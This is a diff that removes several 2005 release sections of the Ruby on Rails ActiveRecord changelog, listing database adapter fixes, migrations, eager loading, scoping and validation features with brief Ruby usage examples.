-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. [Jeremy Kemper]
-
-* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
-
-* Added preliminary support for join models [David Heinemeier Hansson]
-
-* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
-
-* Firebird: active? and reconnect! methods for handling stale connections. #428 [Ken Kunz <kennethkunz@gmail.com>]
-
-* Firebird: updated for FireRuby 0.4.0. #3009 [Ken Kunz <kennethkunz@gmail.com>]
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 [Jeremy Kemper]
-
-* Oracle: active? check pings the database rather than testing the last command status. #428 [Michael Schoen]
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 [kajism@yahoo.com]
-
-* Reloading a model doesn't lose track of its connection. #2996 [junk@miriamtech.com, Jeremy Kemper]
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 [colman@rominato.com, Florian Weber, Michael Schoen]
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 [Shugo Maeda]
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. [Jeremy Kemper]
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 [Shugo Maeda]
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. [Marcel Molina Jr.]
-
-* Correct boolean handling in generated reader methods. #2945 [Don Park, Stefan Kaes]
-
-* Don't generate read methods for columns whose names are not valid ruby method names. #2946 [Stefan Kaes]
-
-* Document :force option to create_table. #2921 [Blair Zajac <blair@orcaware.com>]
-
-* Don't add the same conditions twice in has_one finder sql. #2916 [Jeremy Evans]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 [Ken Kunz <kennethkunz@gmail.com>]
-
-* SQLServer: active? and reconnect! methods for handling stale connections. #428 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 [MarkusQ@reality.com]
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 [kajism@yahoo.com, Tom Ward <tom@popdog.net>]
-
-* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 [Michael Schoen <schoenm@earthlink.net>]
-
-* Correct documentation for Base.delete_all. #1568 [Newhydra]
-
-* Oracle: test case for column default parsing. #2788 [Michael Schoen <schoenm@earthlink.net>]
-
-* Update documentation for Migrations. #2861 [Tom Werner <tom@cube6media.com>]
-
-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 [Jeremy Kemper]
-
-* Oracle: Much faster column reflection. #2848 [Michael Schoen <schoenm@earthlink.net>]
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. [Jeremy Kemper]
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. [Jeremy Kemper]
-
-* PostgreSQL: correctly discover custom primary key sequences. #2594 [Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper]
-
-* SQLServer: don't report limits for unsupported field types. #2835 [Ryan Tomayko]
-
-* Include the Enumerable module in ActiveRecord::Errors. [Rick Bradley <rick@rickbradley.com>]
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 [rubyonrails@atyp.de]
-
-* Don't cast nil or empty strings to a dummy date. #2789 [Rick Bradley <rick@rickbradley.com>]
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 [rephorm@rephorm.com]
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
-
-* Correct handling of complex order clauses with SQL Server limit emulation. #2770 [Tom Ward <tom@popdog.net>, Matt B.]
-
-* Correct whitespace problem in Oracle default column value parsing. #2788 [rick@rickbradley.com]
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 [larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper]
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. [Jeremy Kemper]
-
-* More compatible Oracle column reflection. #2771 [Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>]
-
-
-*1.13.0* (November 7th, 2005)
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
- has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
-
- Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
- # Find where name = ? and active=true
- Comment.find :all, :conditions => ['name = ?', name]
- # Create comment associated with :post_id
- Comment.create :body => "Hello world"
- end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
- Comment.constrain(:creation => { :post_id => 5 }) do
- # Associated with :post_id
- Comment.create :body => "Hello world"
- end
-
- This is rarely used directly, but allows for find_or_create on associations. So you can do:
-
- # If the tag doesn't exist, a new one is created that's associated with the person
- person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
- # No 'Summer' tag exists
- Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-
- # Now the 'Summer' tag does exist
- Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_many :people do
- def find_or_create_by_name(name)
- first_name, *last_name = name.split
- last_name = last_name.join " "
-
- find_or_create_by_first_name_and_last_name(first_name, last_name)
- end
- end
- end
-
- person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
- person.first_name # => "David"
- person.last_name # => "Heinemeier Hansson"
-
- Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list. #2729 [Ryan Tomayko]
-
-* Quote column names in generated SQL. #2728 [Ryan Tomayko]
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 [Jeremy Kemper]
-
-* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). [Jeremy Kemper]
-
-* Correct fixture behavior when table name pluralization is off. #2719 [Rick Bradley <rick@rickbradley.com>]
-
-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
-
-* Added migration support for Oracle #2647 [Michael Schoen]
-
-* Worked around that connection can't be reset if allow_concurrency is off. #2648 [Michael Schoen <schoenm@earthlink.net>]
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 [dansketcher@gmail.com]
-
-* Constraints are cloned so they can't be inadvertently modified while they're
-in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
-
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
-
-
-*1.12.2* (October 26th, 2005)
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
-
-* Map Active Record time to SQL TIME. #2575, #2576 [Robby Russell <robby@planetargon.com>]
-
-* Clarify semantics of ActiveRecord::Base#respond_to? #2560 [Stefan Kaes]
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
-
-* HABTM finders shouldn't return readonly records. #2525 [Patrick Lenz <patrick@lenz.sh>]
-
-* Make all tests runnable on their own. #2521. [Blair Zajac <blair@orcaware.com>]
-
-
-*1.12.1* (October 19th, 2005)
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection. #2507 [tmornini@infomania.com]
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-*1.12.0* (October 16th, 2005)
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 [Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>]
-
-* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 [purestorm@ggnore.net]
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby@planetargon.com>]
-
-* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me@cpb.ca>]
-
-* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair@orcaware.com>]
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
-
-* Update DB2 adapter. #2206. [contact@maik-schmidt.de]
-
-* Corrections to SQLServer native data types. #2267. [rails.20.clarry@spamgourmet.com]
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair@orcaware.com>]
-
-* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
-
-* Add test coverage for content_columns. #2432. [coffee2code]
-
-* Speed up for unthreaded environments. #2431. [Stefan Kaes]
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. [Stefan Kaes]
-
-* Speed up the setting of table_name. #2428. [Stefan Kaes]
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
-
-* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
-
-* Use foreign_key inflection uniformly. #2156 [Blair Zajac <blair@orcaware.com>]
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 [joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>]
-
-* Returning false from before_destroy should cancel the action. #1829 [Jeremy Huffman]
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 [mat <mat@absolight.fr>]
-
-* Extensive documentation for the abstract database adapter. #2250 [François Beausoleil <fbeausoleil@ftml.net>]
-
-* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 [jay@jay.fm, Blair Zajac <blair@orcaware.com>]
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 [Manuel Holtgrewe <purestorm@ggnore.net>]
-
-* Make update_attribute use the same writer method that update_attributes uses.
- #2237 [trevor@protocool.com]
-
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
-
-* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 [chris@chrisbrinker.com]
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
- ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo@gatelys.com]
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
-
-* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
-
-* Fixed migrations for Windows when using more than 10 [David Naseby]
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
-
-* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
-
-* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
-
-* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd@notso.net]
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
-
-* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
-
-* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
-
-* Make destroy return self #1913 [Sebastian Kanthak]
-
-* Fix typo in validations documentation #1938 [court3nay]
-
-* Make acts_as_list work for insert_at(1) #1966 [hensleyl@papermountain.org]
-
-* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
-
-* Allow add_column and create_table to specify NOT NULL #1712 [emptysands@gmail.com]
-
-* Fix create_table so that id column is implicitly added [Rick Olson]
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
-
- class Comment < AR:B
- def self.search(q)
- find(:all, :conditions => ["body = ?", q])
- end
- end
-
- class Post < AR:B
- has_many :comments
- end
-
- Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-
- NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
- by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
- details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
- noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
-
-
-*1.11.1* (11 July, 2005)
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
-
-* Correct reflected table name for singular associations. #1688 [court3nay]
-
-* Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 [court3nay]
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-*1.11.0* (6 July, 2005)
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
- class Project
- has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-
- def evaluate_velocity(developer)
- ...
- end
- end
-
- ..raising an exception will cause the object not to be added (or removed, with before_remove).
-
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 [Stefan Kaes]
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
-
-* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails@veryclever.net]
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash@vanklinkenbergsoftware.nl]
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
- Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-
- ...should instead be:
-
- Developer.find(
- :all,
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :conditions => 'project_id=1'
- )
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
-
-* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
- Example:
-
- david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
- david.save
-
- If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
- project is saved when david.save is called.
-
- Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-
- david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many. #1312 [ben@bensinclair.com]
-
-* Fixed sanitized conditions for has_many finder method. #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
-
-* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 [dave@cherryville.org]
-
-* Corrected @@configurations typo #1410 [david@ruppconsulting.com]
-
-* Return PostgreSQL columns in the order they were declared #1374 [perlguy@gmail.com]
-
-* Allow before/after update hooks to work on models using optimistic locking
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
- fixtures :web_sites
-
- def test_something
- assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
- end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
-
-* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
- Conditional validations such as the following are made possible:
- validates_numericality_of :income, :if => :employed?
-
- Conditional validations can also solve the salted login generator problem:
- validates_confirmation_of :password, :if => :new_password?
-
- Using blocks:
- validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 [dwlt@dwlt.net]
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
- # SELECT * FROM topics WHERE title IN ('First', 'Second')
- Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
- development:
- adapter: postgresql
- database: rails_development
- host: localhost
- username: postgres
- password:
- encoding: UTF8
- min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-*1.10.1* (20th April, 2005)
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-*1.10.0* (19th April, 2005)
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
- for post in Post.find(:all, :limit => 100)
- puts "Post: " + post.title
- puts "Written by: " + post.author.name
- puts "Last comment on: " + post.comments.first.created_on
- end
-
- This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-
- for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
-
- ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
- Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(:first, :order => "created_on DESC", :offset => 5)
- Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
- Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
- This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
- the added feature that you can select the children and all of it's descendants with
- a single query. A good use case for this is a threaded post system, where you want
- to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters@gmail.com]
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh@chase3000.com]
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb@aei-tech.com]
-
-* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon@milliped.com]
-
-* Fixed boolean saving on Oracle #1093 [mparrish@pearware.org]
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
-
-* Added quoting of column names for fixtures #997 [jcfischer@gmail.com]
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
-
-* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
-
